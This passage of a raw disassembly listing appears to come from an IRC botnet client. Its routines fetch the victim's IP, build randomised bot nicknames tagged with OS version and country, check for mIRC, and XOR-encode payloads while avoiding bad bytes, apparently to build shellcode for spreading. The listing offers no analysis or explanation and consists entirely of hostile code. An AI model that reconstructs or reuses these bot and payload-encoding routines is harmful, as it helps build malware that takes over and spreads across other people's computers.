push [ebp+var_90] call sub_41F930 pop ecx mov eax, [ebp+var_8] leave retn sub_40C6CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C86E proc near ; CODE XREF: sub_4021E5+1DE0p ; sub_4021E5+3724p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_9 = byte ptr -9 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov [ebp+var_14], 10h push 10h push 0 lea eax, [ebp+var_10] push eax call sub_421410 add esp, 0Ch lea eax, [ebp+var_14] push eax lea eax, [ebp+var_10] push eax push [ebp+arg_0] call dword_4E16A4 ; getsockname movzx eax, [ebp+var_9] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_B] push eax movzx eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push offset dword_4E1830 call sub_4219C0 add esp, 18h mov eax, offset dword_4E1830 leave retn sub_40C86E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8C9 proc near ; CODE XREF: .XComp0:0040EB09p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 loc_40C8D1: ; CODE XREF: sub_40C8C9+2Cj cmp [ebp+arg_4], 1 jle short loc_40C8F7 mov eax, [ebp+arg_0] movzx eax, word ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+arg_0] inc eax inc eax mov [ebp+arg_0], eax mov eax, [ebp+arg_4] dec eax dec eax mov [ebp+arg_4], eax jmp short loc_40C8D1 ; --------------------------------------------------------------------------- loc_40C8F7: ; CODE XREF: sub_40C8C9+Cj cmp [ebp+arg_4], 0 jz short loc_40C90B mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx loc_40C90B: ; CODE XREF: sub_40C8C9+32j mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] and ecx, 0FFFFh add eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] shr eax, 10h mov ecx, [ebp+var_4] add ecx, eax mov [ebp+var_4], ecx mov eax, [ebp+var_4] not eax leave retn sub_40C8C9 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h and dword ptr [ebp-4], 0 and word ptr [ebp-8], 0 mov eax, [ebp+8] mov [ebp-0Ch], eax mov eax, [ebp+0Ch] mov [ebp-10h], eax loc_40C94F: ; CODE XREF: .XComp0:0040C973j cmp dword ptr [ebp-10h], 1 jle short loc_40C975 mov eax, [ebp-0Ch] movzx eax, word ptr [eax] mov ecx, [ebp-4] add ecx, eax mov [ebp-4], ecx mov eax, [ebp-0Ch] inc eax inc eax mov [ebp-0Ch], eax mov eax, [ebp-10h] dec eax dec eax mov [ebp-10h], eax jmp short loc_40C94F ; --------------------------------------------------------------------------- loc_40C975: ; CODE XREF: .XComp0:0040C953j cmp dword ptr [ebp-10h], 1 jnz short loc_40C98F mov eax, [ebp-0Ch] mov al, [eax] mov [ebp-8], al movzx eax, word ptr [ebp-8] mov ecx, [ebp-4] add ecx, eax mov [ebp-4], ecx loc_40C98F: ; CODE XREF: .XComp0:0040C979j mov eax, [ebp-4] sar eax, 10h mov ecx, [ebp-4] and ecx, 0FFFFh add eax, ecx mov [ebp-4], eax mov eax, [ebp-4] sar eax, 10h mov ecx, [ebp-4] add ecx, eax mov [ebp-4], ecx mov eax, [ebp-4] not eax mov [ebp-8], ax mov ax, [ebp-8] leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9C0 proc near ; CODE XREF: sub_40CE78+65p ; DATA XREF: .XComp0:off_445118o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx nop call near ptr 27B0DBCh push eax call sub_421AC0 pop ecx call sub_421AD0 xor edx, edx mov ecx, 48Fh div ecx push off_445180[edx*4] push offset aS_30 ; "%s" push 1Ch push [ebp+arg_0] call sub_421B90 add esp, 10h and [ebp+var_4], 0 jmp short loc_40CA05 ; --------------------------------------------------------------------------- loc_40C9FE: ; CODE XREF: sub_40C9C0+71j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40CA05: ; CODE XREF: sub_40C9C0+3Cj mov eax, [ebp+var_4] cmp eax, dword_441094 jge short loc_40CA33 call sub_421AD0 cdq push 0Ah pop ecx idiv ecx push edx push [ebp+arg_0] push offset aSI ; "%s%i" push 1Ch push [ebp+arg_0] call sub_421B90 add esp, 14h jmp short loc_40C9FE ; --------------------------------------------------------------------------- loc_40CA33: ; CODE XREF: sub_40C9C0+4Ej mov eax, [ebp+arg_0] leave retn sub_40C9C0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx nop call near ptr 27B0DBCh push eax call sub_421AC0 pop ecx push offset aXxxxx ; "[XxXxX]" push offset aS_31 ; "%s" push 1Ch push dword ptr [ebp+8] call sub_421B90 add esp, 10h and dword ptr [ebp-4], 0 jmp short loc_40CA6D ; --------------------------------------------------------------------------- loc_40CA66: ; CODE XREF: .XComp0:0040CA99j mov eax, [ebp-4] inc eax mov [ebp-4], eax loc_40CA6D: ; CODE XREF: .XComp0:0040CA64j mov eax, [ebp-4] cmp eax, dword_441094 jge short loc_40CA9B call sub_421AD0 cdq push 0Ah pop ecx idiv ecx push edx push dword ptr [ebp+8] push offset aSI_0 ; "%s%i" push 1Ch push dword ptr [ebp+8] call sub_421B90 add esp, 14h jmp short loc_40CA66 ; --------------------------------------------------------------------------- loc_40CA9B: ; CODE XREF: .XComp0:0040CA76j mov eax, [ebp+8] leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CAA0 proc near ; CODE XREF: sub_4021E5+6C41p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx call near ptr 27B0DBCh nop push eax call sub_421AC0 pop ecx call sub_421AD0 cdq push 3 pop ecx idiv ecx add edx, dword_441094 mov [ebp+var_8], edx and [ebp+var_4], 0 jmp short loc_40CAD3 ; --------------------------------------------------------------------------- loc_40CACC: ; CODE XREF: sub_40CAA0+51j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40CAD3: ; CODE XREF: sub_40CAA0+2Aj mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jge short loc_40CAF3 call sub_421AD0 cdq push 1Ah pop ecx idiv ecx add edx, 61h mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov [eax], dl jmp short loc_40CACC ; --------------------------------------------------------------------------- loc_40CAF3: ; CODE XREF: sub_40CAA0+39j mov eax, [ebp+arg_0] add eax, [ebp+var_4] and byte ptr [eax], 0 mov eax, [ebp+arg_0] leave retn sub_40CAA0 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h mov dword ptr [ebp-8], offset aPc ; "PC" mov dword ptr [ebp-4], 100h and dword ptr [ebp-10h], 0 nop call near ptr 27B0DBCh push eax call sub_421AC0 pop ecx lea eax, [ebp-4] push eax push dword ptr [ebp-8] call near ptr 27E0000h nop test eax, eax jnz short loc_40CB3E mov dword ptr [ebp-8], offset aPc_0 ; "PC" loc_40CB3E: ; CODE XREF: .XComp0:0040CB35j mov dword ptr [ebp-0Ch], 41h jmp short loc_40CB4E ; --------------------------------------------------------------------------- loc_40CB47: ; CODE XREF: .XComp0:loc_40CB66j mov eax, [ebp-0Ch] inc eax mov [ebp-0Ch], eax loc_40CB4E: ; CODE XREF: .XComp0:0040CB45j cmp dword ptr [ebp-0Ch], 5Bh jge short loc_40CB68 mov eax, [ebp-8] movsx eax, byte ptr [eax] cmp eax, [ebp-0Ch] jnz short loc_40CB66 mov dword ptr [ebp-10h], 1 loc_40CB66: ; CODE XREF: .XComp0:0040CB5Dj jmp short loc_40CB47 ; --------------------------------------------------------------------------- loc_40CB68: ; CODE XREF: .XComp0:0040CB52j mov dword ptr [ebp-0Ch], 61h jmp short loc_40CB78 ; --------------------------------------------------------------------------- loc_40CB71: ; CODE XREF: .XComp0:loc_40CB90j mov eax, [ebp-0Ch] inc eax mov [ebp-0Ch], eax loc_40CB78: ; CODE XREF: .XComp0:0040CB6Fj cmp dword ptr [ebp-0Ch], 7Bh jge short loc_40CB92 mov eax, [ebp-8] movsx eax, byte ptr [eax] cmp eax, [ebp-0Ch] jnz short loc_40CB90 mov dword ptr [ebp-10h], 1 loc_40CB90: ; CODE XREF: .XComp0:0040CB87j jmp short loc_40CB71 ; --------------------------------------------------------------------------- loc_40CB92: ; CODE XREF: .XComp0:0040CB7Cj cmp dword ptr [ebp-10h], 0 jnz short loc_40CB9F mov dword ptr [ebp-8], offset aPc_1 ; "PC" loc_40CB9F: ; CODE XREF: .XComp0:0040CB96j push dword ptr [ebp-8] push 1Ch push dword ptr [ebp+8] call sub_421B90 add esp, 0Ch and dword ptr [ebp-0Ch], 0 jmp short loc_40CBBC ; --------------------------------------------------------------------------- loc_40CBB5: ; CODE XREF: .XComp0:0040CBE8j mov eax, [ebp-0Ch] inc eax mov [ebp-0Ch], eax loc_40CBBC: ; CODE XREF: .XComp0:0040CBB3j mov eax, [ebp-0Ch] cmp eax, dword_441094 jge short loc_40CBEA call sub_421AD0 cdq push 0Ah pop ecx idiv ecx push edx push dword ptr [ebp+8] push offset aSI_1 ; "%s%i" push 1Ch push dword ptr [ebp+8] call sub_421B90 add esp, 14h jmp short loc_40CBB5 ; --------------------------------------------------------------------------- loc_40CBEA: ; CODE XREF: .XComp0:0040CBC5j mov eax, [ebp+8] leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 10h call near ptr 27B0DBCh nop push eax call sub_421AC0 pop ecx push 0Ah lea eax, [ebp-0Ch] push eax push 7 push 800h nop call near ptr 27F0000h lea eax, [ebp-0Ch] push eax push offset aS_32 ; "%s|" push 1Ch push dword ptr [ebp+8] call sub_421B90 add esp, 10h and dword ptr [ebp-10h], 0 jmp short loc_40CC38 ; --------------------------------------------------------------------------- loc_40CC31: ; CODE XREF: .XComp0:0040CC64j mov eax, [ebp-10h] inc eax mov [ebp-10h], eax loc_40CC38: ; CODE XREF: .XComp0:0040CC2Fj mov eax, [ebp-10h] cmp eax, dword_441094 jge short loc_40CC66 call sub_421AD0 cdq push 0Ah pop ecx idiv ecx push edx push dword ptr [ebp+8] push offset aSI_2 ; "%s%i" push 1Ch push dword ptr [ebp+8] call sub_421B90 add esp, 14h jmp short loc_40CC31 ; --------------------------------------------------------------------------- loc_40CC66: ; CODE XREF: .XComp0:0040CC41j mov eax, [ebp+8] leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 9Ch mov dword ptr [ebp-4], offset dword_4E184C mov dword ptr [ebp-9Ch], 94h lea eax, [ebp-9Ch] push eax nop call near ptr 27F0576h nop call near ptr 27B0DBCh push eax call sub_421AC0 pop ecx cmp dword ptr [ebp-98h], 4 jnz short loc_40CCD6 cmp dword ptr [ebp-94h], 0 jnz short loc_40CCD6 cmp dword ptr [ebp-8Ch], 1 jnz short loc_40CCC1 mov dword ptr [ebp-4], offset a95 ; "95" loc_40CCC1: ; CODE XREF: .XComp0:0040CCB8j cmp dword ptr [ebp-8Ch], 2 jnz short loc_40CCD1 mov dword ptr [ebp-4], offset aNt ; "NT" loc_40CCD1: ; CODE XREF: .XComp0:0040CCC8j jmp loc_40CD64 ; --------------------------------------------------------------------------- loc_40CCD6: ; CODE XREF: .XComp0:0040CCA6j ; .XComp0:0040CCAFj cmp dword ptr [ebp-98h], 4 jnz short loc_40CCF1 cmp dword ptr [ebp-94h], 0Ah jnz short loc_40CCF1 mov dword ptr [ebp-4], offset a98 ; "98" jmp short loc_40CD64 ; --------------------------------------------------------------------------- loc_40CCF1: ; CODE XREF: .XComp0:0040CCDDj ; .XComp0:0040CCE6j cmp dword ptr [ebp-98h], 4 jnz short loc_40CD0C cmp dword ptr [ebp-94h], 5Ah jnz short loc_40CD0C mov dword ptr [ebp-4], offset aMe_0 ; "ME" jmp short loc_40CD64 ; --------------------------------------------------------------------------- loc_40CD0C: ; CODE XREF: .XComp0:0040CCF8j ; .XComp0:0040CD01j cmp dword ptr [ebp-98h], 5 jnz short loc_40CD27 cmp dword ptr [ebp-94h], 0 jnz short loc_40CD27 mov dword ptr [ebp-4], offset a2k ; "2K" jmp short loc_40CD64 ; --------------------------------------------------------------------------- loc_40CD27: ; CODE XREF: .XComp0:0040CD13j ; .XComp0:0040CD1Cj cmp dword ptr [ebp-98h], 5 jnz short loc_40CD42 cmp dword ptr [ebp-94h], 1 jnz short loc_40CD42 mov dword ptr [ebp-4], offset aXp_1 ; "XP" jmp short loc_40CD64 ; --------------------------------------------------------------------------- loc_40CD42: ; CODE XREF: .XComp0:0040CD2Ej ; .XComp0:0040CD37j cmp dword ptr [ebp-98h], 5 jnz short loc_40CD5D cmp dword ptr [ebp-94h], 2 jnz short loc_40CD5D mov dword ptr [ebp-4], offset a2k3 ; "2K3" jmp short loc_40CD64 ; --------------------------------------------------------------------------- loc_40CD5D: ; CODE XREF: .XComp0:0040CD49j ; .XComp0:0040CD52j mov dword ptr [ebp-4], offset a???_0 ; "???" loc_40CD64: ; CODE XREF: .XComp0:loc_40CCD1j ; .XComp0:0040CCEFj ... push dword ptr [ebp-4] push offset aS_33 ; "[%s]|" push 1Ch push dword ptr [ebp+8] call sub_421B90 add esp, 10h and dword ptr [ebp-8], 0 jmp short loc_40CD86 ; --------------------------------------------------------------------------- loc_40CD7F: ; CODE XREF: .XComp0:0040CDB2j mov eax, [ebp-8] inc eax mov [ebp-8], eax loc_40CD86: ; CODE XREF: .XComp0:0040CD7Dj mov eax, [ebp-8] cmp eax, dword_441094 jge short loc_40CDB4 call sub_421AD0 cdq push 0Ah pop ecx idiv ecx push edx push dword ptr [ebp+8] push offset aSI_3 ; "%s%i" push 1Ch push dword ptr [ebp+8] call sub_421B90 add esp, 14h jmp short loc_40CD7F ; --------------------------------------------------------------------------- loc_40CDB4: ; CODE XREF: .XComp0:0040CD8Fj mov eax, [ebp+8] leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CDB9 proc near ; CODE XREF: sub_40CE78+79p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h call near ptr 27B0DBCh nop xor edx, edx mov ecx, 5265C00h div ecx mov [ebp+var_20], eax cmp [ebp+var_20], 64h jbe short loc_40CE13 push 0 push offset aMirc_0 ; "mIRC" call dword_4E170C ; FindWindowA test eax, eax jz short loc_40CDF1 mov [ebp+var_24], offset off_448E58 jmp short loc_40CDF8 ; --------------------------------------------------------------------------- loc_40CDF1: ; CODE XREF: sub_40CDB9+2Dj mov [ebp+var_24], offset dword_4E1850 loc_40CDF8: ; CODE XREF: sub_40CDB9+36j push [ebp+var_24] push [ebp+var_20] push offset dword_448E5C push 1Ch lea eax, [ebp+var_1C] push eax call sub_421B90 add esp, 14h jmp short loc_40CE42 ; --------------------------------------------------------------------------- loc_40CE13: ; CODE XREF: sub_40CDB9+1Cj push 0 push offset aMirc_1 ; "mIRC" call dword_4E170C ; FindWindowA test eax, eax jz short loc_40CE2D mov [ebp+var_28], offset off_448E6C jmp short loc_40CE34 ; --------------------------------------------------------------------------- loc_40CE2D: ; CODE XREF: sub_40CDB9+69j mov [ebp+var_28], offset dword_4E1854 loc_40CE34: ; CODE XREF: sub_40CDB9+72j push [ebp+var_28] lea eax, [ebp+var_1C] push eax call sub_4219C0 pop ecx pop ecx loc_40CE42: ; CODE XREF: sub_40CDB9+58j lea eax, [ebp+var_1C] push eax call sub_41EBD0 pop ecx cmp eax, 2 jbe short loc_40CE73 push 1Ch push [ebp+arg_0] lea eax, [ebp+var_1C] push eax call sub_422A20 add esp, 0Ch push 1Ch lea eax, [ebp+var_1C] push eax push [ebp+arg_0] call sub_421470 add esp, 0Ch loc_40CE73: ; CODE XREF: sub_40CDB9+96j mov eax, [ebp+arg_0] leave retn sub_40CDB9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE78 proc near ; CODE XREF: sub_401DEC+AEp ; sub_401FD0+73p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch and [ebp+var_4], 0 jmp short loc_40CE8B ; --------------------------------------------------------------------------- loc_40CE84: ; CODE XREF: sub_40CE78:loc_40CEE6j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40CE8B: ; CODE XREF: sub_40CE78+Aj cmp [ebp+var_4], 6 jnb short loc_40CEE8 cmp [ebp+arg_C], 0 jz short loc_40CEB7 mov eax, [ebp+var_4] imul eax, 14h add eax, offset aReal ; "real" push eax push [ebp+arg_C] call sub_422740 pop ecx pop ecx neg eax sbb eax, eax inc eax mov [ebp+var_8], eax jmp short loc_40CECE ; --------------------------------------------------------------------------- loc_40CEB7: ; CODE XREF: sub_40CE78+1Dj mov eax, [ebp+var_4] imul eax, 14h mov eax, dword_445114[eax] sub eax, [ebp+arg_4] neg eax sbb eax, eax inc eax mov [ebp+var_8], eax loc_40CECE: ; CODE XREF: sub_40CE78+3Dj cmp [ebp+var_8], 0 jz short loc_40CEE6 push [ebp+arg_0] mov eax, [ebp+var_4] imul eax, 14h call off_445118[eax] pop ecx jmp short loc_40CEE8 ; --------------------------------------------------------------------------- loc_40CEE6: ; CODE XREF: sub_40CE78+5Aj jmp short loc_40CE84 ; --------------------------------------------------------------------------- loc_40CEE8: ; CODE XREF: sub_40CE78+17j ; sub_40CE78+6Cj cmp [ebp+arg_8], 0 jz short loc_40CEFC push [ebp+arg_0] call sub_40CDB9 pop ecx mov [ebp+var_C], eax jmp short loc_40CF02 ; --------------------------------------------------------------------------- loc_40CEFC: ; CODE XREF: sub_40CE78+74j mov eax, [ebp+arg_0] mov [ebp+var_C], eax loc_40CF02: ; CODE XREF: sub_40CE78+82j mov eax, [ebp+var_C] leave retn sub_40CE78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF07 proc near ; CODE XREF: sub_40CF37+Cp ; sub_40D09D+9p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push [ebp+arg_0] call sub_41EBD0 pop ecx mov [ebp+var_8], eax push [ebp+arg_4] call sub_41EBD0 pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ecx, [ebp+var_8] lea eax, [ecx+eax+79h] mov ecx, [ebp+var_4] lea eax, [eax+ecx+48h] leave retn sub_40CF07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CF37 proc near ; CODE XREF: sub_40D0B6+62p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_C] push [ebp+arg_8] call sub_40CF07 pop ecx pop ecx mov [ebp+var_14], eax mov eax, [ebp+var_14] cmp eax, [ebp+arg_4] jbe short loc_40CF5C xor eax, eax jmp locret_40D09B ; --------------------------------------------------------------------------- loc_40CF5C: ; CODE XREF: sub_40CF37+1Cj push [ebp+arg_8] call sub_41EBD0 pop ecx mov [ebp+var_20], eax push [ebp+arg_C] call sub_41EBD0 pop ecx mov [ebp+var_1C], eax mov [ebp+var_8], offset dword_448F04 mov eax, [ebp+var_1C] mov ecx, [ebp+var_20] lea eax, [ecx+eax+12h] mov ecx, [ebp+var_8] mov [ecx], eax mov [ebp+var_C], (offset loc_448F24+1) mov eax, [ebp+var_1C] inc eax mov ecx, [ebp+var_C] mov [ecx], eax mov [ebp+var_10], (offset loc_448F1C+1) mov eax, [ebp+var_1C] add eax, 17h mov ecx, [ebp+var_10] mov [ecx], eax mov [ebp+var_4], (offset loc_448F31+2) push 0FFFFFFEDh pop eax sub eax, [ebp+var_1C] mov ecx, [ebp+var_4] mov [ecx], eax and [ebp+var_18], 0 push 74h push offset dword_448EA0 mov eax, [ebp+arg_0] add eax, [ebp+var_18] push eax call sub_422B50 add esp, 0Ch mov eax, [ebp+var_18] add eax, 74h mov [ebp+var_18], eax push [ebp+var_20] push [ebp+arg_8] mov eax, [ebp+arg_0] add eax, [ebp+var_18] push eax call sub_422B50 add esp, 0Ch mov eax, [ebp+var_18] add eax, [ebp+var_20] mov [ebp+var_18], eax push 5 push offset loc_448F14 mov eax, [ebp+arg_0] add eax, [ebp+var_18] push eax call sub_422B50 add esp, 0Ch mov eax, [ebp+var_18] add eax, 5 mov [ebp+var_18], eax push [ebp+var_1C] push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, [ebp+var_18] push eax call sub_422B50 add esp, 0Ch mov eax, [ebp+var_18] add eax, [ebp+var_1C] mov [ebp+var_18], eax push 10h push offset loc_448F19 mov eax, [ebp+arg_0] add eax, [ebp+var_18] push eax call sub_422B50 add esp, 0Ch mov eax, [ebp+var_18] add eax, 10h mov [ebp+var_18], eax push [ebp+var_1C] push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, [ebp+var_18] push eax call sub_422B50 add esp, 0Ch mov eax, [ebp+var_18] add eax, [ebp+var_1C] mov [ebp+var_18], eax push 38h push offset loc_448F29 mov eax, [ebp+arg_0] add eax, [ebp+var_18] push eax call sub_422B50 add esp, 0Ch mov eax, [ebp+var_18] add eax, 38h mov [ebp+var_18], eax mov eax, [ebp+var_14] locret_40D09B: ; CODE XREF: sub_40CF37+20j leave retn sub_40CF37 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D09D proc near ; CODE XREF: sub_40D0B6+Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push [ebp+arg_4] push [ebp+arg_0] call sub_40CF07 pop ecx pop ecx push eax call sub_40D148 pop ecx pop ebp retn sub_40D09D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D0B6 proc near ; CODE XREF: sub_41104D+D6p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push [ebp+arg_C] push [ebp+arg_8] call sub_40D09D pop ecx pop ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jbe short loc_40D0D8 xor eax, eax jmp short locret_40D146 ; --------------------------------------------------------------------------- loc_40D0D8: ; CODE XREF: sub_40D0B6+1Cj cmp [ebp+var_4], 0FFFFh jbe short loc_40D0E5 xor eax, eax jmp short locret_40D146 ; --------------------------------------------------------------------------- loc_40D0E5: ; CODE XREF: sub_40D0B6+29j push [ebp+arg_C] push [ebp+arg_8] call sub_40CF07 pop ecx pop ecx add eax, 101h push eax call sub_41EDA0 pop ecx mov [ebp+var_8], eax push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_C] push [ebp+arg_8] call sub_40CF07 pop ecx pop ecx push eax push [ebp+var_8] call sub_40CF37 add esp, 10h mov [ebp+var_C], eax push [ebp+var_C] push [ebp+var_8] push [ebp+arg_4] push [ebp+arg_0] call sub_40D17A add esp, 10h mov [ebp+var_4], eax push [ebp+var_8] call sub_41F930 pop ecx mov eax, [ebp+var_4] locret_40D146: ; CODE XREF: sub_40D0B6+20j ; sub_40D0B6+2Dj leave retn sub_40D0B6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D148 proc near ; CODE XREF: sub_40D09D+11p ; sub_40D17A+83p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] and eax, 0FFh test eax, eax jnz short loc_40D15F mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax loc_40D15F: ; CODE XREF: sub_40D148+Ej mov eax, 0FFh cmp eax, [ebp+arg_0] sbb eax, eax and eax, 2 add eax, 15h mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+arg_0] leave retn sub_40D148 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D17A proc near ; CODE XREF: sub_40D0B6+79p ; sub_41104D+104p var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov eax, [ebp+arg_C] and eax, 0FFh mov [ebp+var_4], al movsx eax, [ebp+var_4] cmp eax, 0Ah jz short loc_40D1AE movsx eax, [ebp+var_4] cmp eax, 0Dh jz short loc_40D1AE movsx eax, [ebp+var_4] cmp eax, 5Ch jz short loc_40D1AE movsx eax, [ebp+var_4] test eax, eax jnz short loc_40D1B5 loc_40D1AE: ; CODE XREF: sub_40D17A+18j ; sub_40D17A+21j ... mov eax, [ebp+arg_C] inc eax mov [ebp+arg_C], eax loc_40D1B5: ; CODE XREF: sub_40D17A+32j cmp [ebp+arg_C], 0FFh jbe short loc_40D1FA mov eax, [ebp+arg_C] shr eax, 8 and eax, 0FFh mov [ebp+var_4], al movsx eax, [ebp+var_4] cmp eax, 0Ah jz short loc_40D1EF movsx eax, [ebp+var_4] cmp eax, 0Dh jz short loc_40D1EF movsx eax, [ebp+var_4] cmp eax, 5Ch jz short loc_40D1EF movsx eax, [ebp+var_4] test eax, eax jnz short loc_40D1FA loc_40D1EF: ; CODE XREF: sub_40D17A+59j ; sub_40D17A+62j ... mov eax, [ebp+arg_C] add eax, 100h mov [ebp+arg_C], eax loc_40D1FA: ; CODE XREF: sub_40D17A+42j ; sub_40D17A+73j push [ebp+arg_C] call sub_40D148 pop ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] cmp eax, [ebp+arg_4] jbe short loc_40D215 xor eax, eax jmp locret_40D328 ; --------------------------------------------------------------------------- loc_40D215: ; CODE XREF: sub_40D17A+92j cmp [ebp+var_8], 0FFFFh jbe short loc_40D225 xor eax, eax jmp locret_40D328 ; --------------------------------------------------------------------------- loc_40D225: ; CODE XREF: sub_40D17A+A2j mov al, byte_4E1858 mov [ebp+var_C], al and [ebp+var_10], 0 jmp short loc_40D23A ; --------------------------------------------------------------------------- loc_40D233: ; CODE XREF: sub_40D17A:loc_40D283j mov eax, [ebp+var_10] inc eax mov [ebp+var_10], eax loc_40D23A: ; CODE XREF: sub_40D17A+B7j mov eax, [ebp+var_10] cmp eax, [ebp+arg_C] jnb short loc_40D285 mov eax, [ebp+arg_8] add eax, [ebp+var_10] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_C] xor eax, ecx mov [ebp+var_18], al movsx eax, [ebp+var_18] test eax, eax jz short loc_40D277 movsx eax, [ebp+var_18] cmp eax, 0Ah jz short loc_40D277 movsx eax, [ebp+var_18] cmp eax, 0Dh jz short loc_40D277 movsx eax, [ebp+var_18] cmp eax, 5Ch jnz short loc_40D283 loc_40D277: ; CODE XREF: sub_40D17A+E0j ; sub_40D17A+E9j ... mov al, [ebp+var_C] add al, 1 mov [ebp+var_C], al and [ebp+var_10], 0 loc_40D283: ; CODE XREF: sub_40D17A+FBj jmp short loc_40D233 ; --------------------------------------------------------------------------- loc_40D285: ; CODE XREF: sub_40D17A+C6j mov al, [ebp+var_C] mov byte_4E1858, al cmp [ebp+arg_C], 0FFh ja short loc_40D2C1 mov al, byte ptr [ebp+arg_C] mov byte_448E95, al mov al, [ebp+var_C] mov byte_448E99, al push 15h push offset loc_448E88 push [ebp+arg_0] call sub_422B50 add esp, 0Ch mov [ebp+var_10], 15h jmp short loc_40D2F3 ; --------------------------------------------------------------------------- loc_40D2C1: ; CODE XREF: sub_40D17A+11Aj mov [ebp+var_1C], (offset loc_448E7C+2) mov eax, [ebp+var_1C] mov cx, word ptr [ebp+arg_C] mov [eax], cx mov al, [ebp+var_C] mov byte_448E83, al push 17h push offset loc_448E70 push [ebp+arg_0] call sub_422B50 add esp, 0Ch mov [ebp+var_10], 17h loc_40D2F3: ; CODE XREF: sub_40D17A+145j and [ebp+var_14], 0 jmp short loc_40D300 ; --------------------------------------------------------------------------- loc_40D2F9: ; CODE XREF: sub_40D17A+1A9j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_40D300: ; CODE XREF: sub_40D17A+17Dj mov eax, [ebp+var_14] cmp eax, [ebp+arg_C] jnb short loc_40D325 mov eax, [ebp+arg_8] add eax, [ebp+var_14] movsx eax, byte ptr [eax] movsx ecx, [ebp+var_C] xor eax, ecx mov ecx, [ebp+var_10] add ecx, [ebp+var_14] mov edx, [ebp+arg_0] mov [edx+ecx], al jmp short loc_40D2F9 ; --------------------------------------------------------------------------- loc_40D325: ; CODE XREF: sub_40D17A+18Cj mov eax, [ebp+var_8] locret_40D328: ; CODE XREF: sub_40D17A+96j ; sub_40D17A+A6j leave retn sub_40D17A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D32A proc near ; CODE XREF: sub_4016A7+42Dp ; sub_4016A7+474p ... var_4 = dword ptr -4 